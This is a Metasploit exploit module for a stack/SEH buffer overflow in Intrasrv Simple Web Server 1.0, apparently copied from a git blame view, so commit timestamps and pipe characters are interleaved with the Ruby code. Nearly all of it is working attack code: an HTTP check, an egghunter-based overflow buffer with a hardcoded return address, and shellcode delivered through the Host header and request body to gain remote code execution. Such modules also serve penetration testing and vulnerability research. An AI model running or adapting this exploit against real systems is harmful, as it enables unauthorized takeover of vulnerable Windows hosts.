2013-08-10 19:56:07 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
2013-08-12 14:01:01 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2013-08-10 19:56:07 +00:00
|
|
|
include Msf::Exploit::Egghunter
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Intrasrv 1.0 Buffer Overflow",
|
|
|
|
'Description' => %q{
|
2013-08-10 20:01:44 +00:00
|
|
|
This module exploits a boundary condition error in Intrasrv Simple Web
|
|
|
|
Server 1.0. The web interface does not validate the boundaries of an
|
|
|
|
HTTP request string prior to copying the data to an insufficiently large
|
|
|
|
buffer. Successful exploitation leads to arbitrary remote code execution
|
|
|
|
in the context of the application.
|
2013-08-10 19:56:07 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'xis_one@STM Solutions', #Discovery, PoC
|
|
|
|
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['OSVDB', '94097'],
|
|
|
|
['EDB','18397'],
|
|
|
|
['BID','60229']
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'BadChars' => "\x00"
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => "thread"
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['v1.0 - XP/2003/Win7',
|
|
|
|
{
|
|
|
|
'Offset' => 1553,
|
|
|
|
'Ret'=>0x004097dd #p/p/r - intrasrv.exe
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "May 30 2013",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2013-08-12 14:01:01 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/"
|
|
|
|
})
|
2013-08-10 19:56:07 +00:00
|
|
|
|
2013-08-12 14:01:01 +00:00
|
|
|
if res and res.headers['Server'] =~ /intrasrv 1.0/
|
2013-08-10 19:56:07 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# setup egghunter
|
|
|
|
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
|
|
|
|
:checksum => true
|
|
|
|
})
|
2013-08-10 20:01:44 +00:00
|
|
|
|
2013-08-10 19:56:07 +00:00
|
|
|
# setup buffer
|
2013-08-12 14:01:01 +00:00
|
|
|
buf = rand_text(target['Offset']-128) # junk to egghunter
|
2013-08-10 19:56:07 +00:00
|
|
|
buf << make_nops(8) + hunter # nopsled + egghunter at offset-128
|
2013-08-12 14:01:01 +00:00
|
|
|
buf << rand_text(target['Offset']-buf.length) # more junk to offset
|
2013-08-10 19:56:07 +00:00
|
|
|
buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
|
|
|
|
buf << [target.ret].pack("V*") # seh
|
|
|
|
|
2013-08-12 14:01:01 +00:00
|
|
|
# Setup payload
|
2013-08-12 15:10:10 +00:00
|
|
|
shellcode = rand_text(50) # pad payload
|
2013-08-12 14:01:01 +00:00
|
|
|
shellcode = egg + egg # attach egg tags
|
2013-08-10 19:56:07 +00:00
|
|
|
shellcode << payload.encoded
|
|
|
|
|
|
|
|
print_status("Sending buffer...")
|
2013-08-12 14:01:01 +00:00
|
|
|
send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/",
|
|
|
|
'vhost' => buf,
|
|
|
|
'data' => shellcode
|
|
|
|
})
|
2013-08-10 19:56:07 +00:00
|
|
|
end
|
|
|
|
end
|